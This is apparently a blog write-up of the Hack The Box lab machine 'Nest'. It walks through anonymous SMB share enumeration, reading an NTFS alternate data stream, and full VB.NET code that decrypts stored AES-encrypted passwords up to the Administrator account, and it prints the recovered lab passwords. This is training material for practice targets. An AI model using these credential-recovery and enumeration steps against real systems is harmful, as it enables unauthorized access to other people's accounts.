[hackthebox]Nest

Introduction

nest1
Nest has a lot of twist, it is like playing a RPG game which I need to gather materials to forge the ultimate weapon for the final boss.

I have gain knowledge on operating within a smb share environment, at first I did things stupidly but then I realize I should use recurse on to make things easier and not to miss out any directories within the shares.

There is a file which is 0 byte, at first I downloaded this file and remove it as there was no content, then later I use allinfo within the smb share to find the description of the file and realize it is an alternate stream file and the stream name is Password…

There are some meddling with visual basic, fortunately I do not need to be a VB expert to figure how to stitch the codes together as one big piece and to know what the codes are doing.

This machine is rated as easy, in fact it is not so easy, this machine should be medium or hard in my opinion…

For this machine I am using ILspy instead of dnSpy, as ILspy can be run in linux as a .net decompiler.

This time I am keeping a log to document what I had done so that I can refer to my log and see what have I missed and it turned out to be very helpful and I saved a lot of time because of note keeping.

I am using an online .net compiler to help me run the codes here is the link https://dotnetfiddle.net/

nmap enumeration

nmap -A -p- -oN nmap_all -vvv -T4 -Pn 10.10.10.178
Only two ports are scanned… No good old evil-winrm this time to gain access… but psexec can still be used perhaps?

nest2nest3

Does SMB allows anonymous login?

Yes, these are the shares allowed: Data, IPC$, Secure$, Users, well allowed does not mean I can enumerate the share it just means smb shares allow anonymous connection that’s all.
nest4

Let’s go through different shares one by one. Use the recurse on command to do listing recursively.

Data

nest5nest6

Download all the files that anonymous can access.
nest7

Data share is the only share that anonymous can do listing and download.

Finding the clues downloaded by anonymous

Reading the Maintenace Alert.txt does not yield any useful information.
nest8

Found the password for TempUser.
nest9

Enumerate the shares with TempUser

smbmap -u TempUser -p welcome2019 -H 10.10.10.178
Without guessing, TempUser can connect to three shares namely – Data, Secure$ and Users.
nest10

Users share

smbclient //10.10.10.178/Users -U TempUser
The New Text Document.txt is the only file that TempUser can download, but it is 0 byte.
nest11

A check on the 0 byte text file reveals that the file has no alternate stream (NTFS alternate stream) name, a lesson learned is that any file in the shares that are 0 byte I should always use allinfo to check on it.
nest12

Secure$ share

Nothing can be downloaded.
nest13

Data share

smbclient //10.10.10.178/Data -U TempUser
Turns out there are a lot of things to download.
nest14nest15nest16nest17

From: \\IT\\Configs\\RU\ Scanner\\RU_config.xml
I found the password of c.smith, this password is encrypted and not base64 encoded, hence i need to find the key to decrypt the ciphertext.
nest18

From: \IT\Configs\NotepadPlusPlus\config.xml
I found a path to access c.smith in Secure$ share, which previously TempUser had failed to do listing.
nest19

Back to Secure$ share

//10.10.10.178/Secure$ -U tempuser
This time I am going directly to Carl’s directory.
nest20

The visual basic source codes are found in IT\carl\VB Projects\WIP\RU\RUScanner\.
The most important pieces are:

  1. \IT\carl\VB Projects\WIP\RU\RUScanner\ConfigFile.vb
  2. \IT\carl\VB Projects\WIP\RU\RUScanner\Module1.vb
  3. \IT\carl\VB Projects\WIP\RU\RUScanner\SsoIntegration.vb
  4. \IT\carl\VB Projects\WIP\RU\RUScanner\Utils.vb

These pieces will be stitched together to decrypt c.smith password.

Always remember to download whichever items you can within the smb share,

 
smb: \c.smith\hqk reporting\Ad Integration module\> dir
  .                                   D        0  Fri Aug  9 20:18:42 2019
  ..                                  D        0  Fri Aug  9 20:18:42 2019
  HqkLdap.exe                         A    17408  Thu Aug  8 07:41:16 2019

I downloaded the binary, which at later stage is a crucial part to get root.

Find Carl’s (c.smith) password

I read the codes and understood the following from Utils.vb.
Initializing Vector (IV): 464R5DFA5DL6LE28
Passphrase: N3st22
Salt: 88552299
Iteration: 2
Key size: 256
nest21nest22

I used https://dotnetfiddle.net/ and stitched the VB codes together, I remove the encryption part as those are not needed, the final version of the code to find Carl’s password is below, I added Console.WriteLine(plainText) in the Decrypt function so that the password is revealed.

Imports System.Text
Imports System.Security.Cryptography
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices

Public Class Utils
Public Class ConfigFile	
Public Property Port As Integer
    Public Property Username As String
    Public Property Password As String

    Public Sub SaveToFile(Path As String)
        Using File As New IO.FileStream(Path, IO.FileMode.Create)
            Dim Writer As New Xml.Serialization.XmlSerializer(GetType(ConfigFile))
            Writer.Serialize(File, Me)
        End Using
    End Sub

    Public Shared Function LoadFromFile(ByVal FilePath As String) As ConfigFile
        Using File As New IO.FileStream(FilePath, IO.FileMode.Open)
            Dim Reader As New Xml.Serialization.XmlSerializer(GetType(ConfigFile))
            Return DirectCast(Reader.Deserialize(File), ConfigFile)
        End Using
    End Function
End Class

Public Shared Function GetLogFilePath() As String
        Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
    End Function

Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function
Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()
Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)
	Console.WriteLine(plainText)
        Return plainText
    End Function
Public Class SsoIntegration

    Public Property Username As String
    Public Property Password As String

End Class
Sub Main()
  Dim test As New SsoIntegration With {.Username = "c.smith", .Password = Utils.DecryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")}

    End Sub
		End Class

Running the code the password is xRxRxPANCAK3SxRxRx
nest23

Get the user flag

With Carl’s password the flag is within reach, I logon to smb smbclient //10.10.10.178/Users -U c.smith
nest24
nest25

Find the debug password of HQK reporting server

With c.smith account I further enumerate and found a 0 byte file – debug mode password.txt, at first i downloaded and deleted as there was no content and I was stucked in finding the next clue. The I got this https://www.samba.org/samba/docs/current/man-html/smbclient.1.html, so I went back to use allinfo "debug mode password.txt", allinfo returns the information about a file including its stream.
nest26

See the below screenshot to briefly understand what happens when I use alternate stream:
nest27

So base on the above screenshot logic, allinfo is telling me that Password is the name of the stream.
In smb use more "debug mode password.txt:Password"
nest28
nest29

Find clues to root

There is a port 4386 which is a HQK reporting service, this service interacts with the backend MSSQL server to get queries without the need to know the SQL syntax. To access this use telnet 10.10.10.178 4386
nest30
I cannot do much if debug is not turn on, but I can enumerate the directories that HQK server allows.
nest31

I do path enumeration with the SETDIR command.
nest32

With debug turn on I can read the contents of the ldap.conf file.

Debug mode

with the debug password debug WBQ201953D8w
nest33
Notice more commands are available after debug is turned on.

Read ldap.config

showquery 2, the contents of ldap.config reveals the Administrator’s password in ciphertext.
nest34

Decompile the hqkldap.exe

I downloaded the hqkldap.exe from the Users share in this directory \c.smith\hqk reporting\Ad Integration module\
I am using ILspy to help me decompile the .net binary, ILspy can be run from Linux.
The reason to decompile the program is to find out the IV, salt, iteration, passphrase and keysize.
nest35nest36
From the codes these are the findings:
Passphrase = “667912”;
IV = “1L1SA61493DRV53Z”;
Salt = “1313Rf99”;
Interation = 3
key size = 256

Privilege escalation

Using my stitched codes I use https://dotnetfiddle.net/ to help me compile and give me the Administrator’s password.
The codes are the same only the parameters are different:

Imports System.Text
Imports System.Security.Cryptography
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices

Public Class Utils
Public Class ConfigFile	
Public Property Port As Integer
    Public Property Username As String
    Public Property Password As String

    Public Sub SaveToFile(Path As String)
        Using File As New IO.FileStream(Path, IO.FileMode.Create)
            Dim Writer As New Xml.Serialization.XmlSerializer(GetType(ConfigFile))
            Writer.Serialize(File, Me)
        End Using
    End Sub

    Public Shared Function LoadFromFile(ByVal FilePath As String) As ConfigFile
        Using File As New IO.FileStream(FilePath, IO.FileMode.Open)
            Dim Reader As New Xml.Serialization.XmlSerializer(GetType(ConfigFile))
            Return DirectCast(Reader.Deserialize(File), ConfigFile)
        End Using
    End Function
End Class

Public Shared Function GetLogFilePath() As String
        Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
    End Function

Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256)
        End If
    End Function
Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()
Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)
	Console.WriteLine(plainText)
        Return plainText
    End Function
Public Class SsoIntegration

    Public Property Username As String
    Public Property Password As String

End Class
Sub Main()
	Dim test As New SsoIntegration With {.Username = "Administrator", .Password = Utils.DecryptString("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=")}		

    End Sub
		End Class

Running the code the password is XtH4nkS4Pl4y1nGX
nest37

Heading back the smb users share I use adminstrator account to login, and downloaded the shortcut to the root.txt.
nest38

the shortcut tells me the path to get the actual root.txt.
\\Htb-nest\c$\Users\Administrator\Desktop\flag.txt\\Htb-nest\c$\Users\Administrator\Desktop\flag.txt

So I login to smb C$ share with administrator account:
nest39
nest40

PKDF2 key derivation

In the hunt for root, I have read about the PKDF2, this algorithm requires IV, Salt, key size, iteration and a passphrase to derive the key, which the key then use to encrypt and decrypt the data.
References:
https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes?view=netcore-3.1
https://en.wikipedia.org/wiki/PBKDF2

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s